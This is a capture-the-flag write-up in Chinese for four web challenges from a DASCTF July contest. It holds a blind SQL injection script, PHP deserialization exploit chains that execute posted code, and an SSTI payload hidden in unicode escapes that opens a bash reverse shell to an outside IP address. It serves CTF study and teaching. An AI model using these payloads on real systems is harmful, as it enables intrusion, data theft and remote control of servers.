# Dasctf 7月赋能赛 WP

写在前面:每次通过比赛都能学到很多东西,对于之前的知识点有一知半解的地方重新认识了,比如ssti的盲注,以前只知道{{}}、{%%}能执行语句,但是没有想过他们的区别,通过一道ssti的题目就能更加深入地区分这两者的区别

1、ez_getflag

任意文件读取直接读/flag

2、绝对防御

2.1 网站js源码找到提示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ooP56TN4-1658910684245)(./images/Dasctf%207%E6%9C%88%E8%B5%9B%20WP/1.jpg)]

2.2 sql注入

根据js源代码里面的描述,可以传一个id的参数,试着传一下,发现id=1是admin,id=2是flag,猜想可能跟有sql注入,简单测试一些确实存在sql注入

2.2.1 前端过滤
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;

这个过滤其实很严格,不过是前端可以用burp或者写脚本就可以绕过

2.2.2 后端过滤

if
union 
sleep
...

因为过滤了union,就不能用联合注入,试一下盲注,用这个payload

id=1 and ascii(substr((select database()),1,1))>127

改变大于号后面的长度发现回显不一样,写个盲注脚本跑出flag

import re
import requests as req
import time

url = "http://78dbbf39-0d45-4ce7-9a8e-7073b048367b.node4.buuoj.cn:81/SUPPERAPI.php?"

payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
    low = 0x20
    high = 0x7f
    while(low <= high):
        
        mid = (high + low) // 2
        print(low, mid, high)
        #payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
        #payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
        payload = f"id=1 and ascii(substr((select password from users where id=2),{i},1))>{mid}"

        # 数据库 database()
        # 表名 users
        # 字段 id,username,password
        #flag在id为2的password中
        print(payload)
        response = req.get(url + payload)
        #print(response.text)
        if(len(response.text) > 587):
            low = mid + 1
        else:
            high = mid - 1
        print("[+]:",low, res)
        time.sleep(1)
            
    res += chr(low)
    print("[+]:",low, res)
    

print(res)


3、Newser(复现)

3.1 composer.json泄漏


{
  
    "require": {
        "fakerphp/faker": "^1.19",
        "opis/closure": "^3.6"
    }
}

备注一个:compser换源、开启tls


composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

composer config -g -- disable-tls false

3.2 分析过程

3.2.1 分析入口点

文件高亮部分有__wakeup() 函数和\ __destruct()函数,然后__destruc()输出了反序列化的内容,从这个__destruct开始分析pop链

  1. 反序列化的常见起点
__destruct()  一定会调用  
__wakeup()  一定会调用
__toString() 当一个对象被当做字符串使用的时候被调用

  1. 中间跳板
__toString() 当一个对象被当做字符串使用

__get() 读取不可访问或不存在属性时被调用

__set() 当给不可访问或不存在属性赋值时被调用

__isset() 对不可访问或不存在的属性调用isset()empty()时被调用
  1. 反序列化常见终点
__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

3.2.2 绕过_wakeup

通过文件泄漏,可以知道当前的环境中引入了faker和closure这两个库,通过faker库可以完成rce的功能,但是由于faker库中有一个__wakeup()方法对于输入的内容进行清空,因此需要绕过
绕过参考文章
利用文章提到的引用,可以将参数在__wakeup()执行后与另外一个参数绑定,通过设置另外一个参数从而实现改变当前参数的效果,关键点在于找到一段类似格式的代码,在User类中的__wakeup()函数中刚好存在一段类似的代码

$this->a = $this->b;

$this->a[$this->b] = $this->c

参数绑定的一个Demo

<?php

class Foo{
    public $bitch;
    public $fuck;

    public function __destruct()
    {
        $this->bitch = "bitch";
        
        var_dump($this);
        echo "Here!\n";
    }

    public function __wakeup()
    {
        $this->fuck = "fuck";
        echo "There!\n";
    }


        
}
$s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';

$o = unserialize($s);

var_dump($o);

3.2.3 命令执行与RCE分析

反序列化的终点在 call_user_func_array(),只有第一个参数可控,通过闭包函数反序列化来rce

call_user_func_array($this->getFormatter($format), $arguments);

代码框架如下

include("closure/autoload.php");  // 引入closure库
$func = function(){
    $cmd = 'id';
    system($cmd);
};  //构造匿名函数
$raw = \Opis\Closure\serialize($func); // 序列化
$c = unserialize($raw); //反序列化之后的数据拿去做 call_user_func_array()的参数

3.3 命令执行poc

<?php
namespace{
    class User
    {
        private $_password;
        public $password;
        private $instance;

        public function __construct()
        {
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>"phpinfo"];
        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}

namespace Faker{
    class Generator{
        private $formatters;

        public function __construct($obj)
        {
            $this->formatters = &$obj->password;
        }

    }
}

3.4 RCE(匿名函数与反序列化闭包)


<?php
namespace{

    use User as GlobalUser;

    class User{
        public $password;
        private $_password;
        private $instance;
        
        public function __construct()
        {
            $this->instance = new Faker\Generator($this);
            $func = function(){
                eval($_POST['cmd']);
            };

            include("./vendor/opis/closure/autoload.php");

            $raw = \Opis\Closure\serialize($func);
            $c = unserialize($raw);
            $this->_password = ["_username"=>$c];

        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));

}
namespace Faker{
    class Generator{
        private $formatters;
        public function __construct($obj)
        {
            $this->formatters = &$obj->password;
        }
    }
}
?>

4 Harddisk(复现)

SSTI方面的题目

过滤了很多内容,主要的几个

.
space
{{}}
__
[]
x

不过可以用|attr 和 unicode绕(不能用十六进制是因为x被过滤)
payload


{%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0032\u0034\u002e\u0032\u0032\u0032\u002e\u0031\u0037\u0030\u002e\u0032\u0034\u0031\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0022"))%}test{%endif%}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值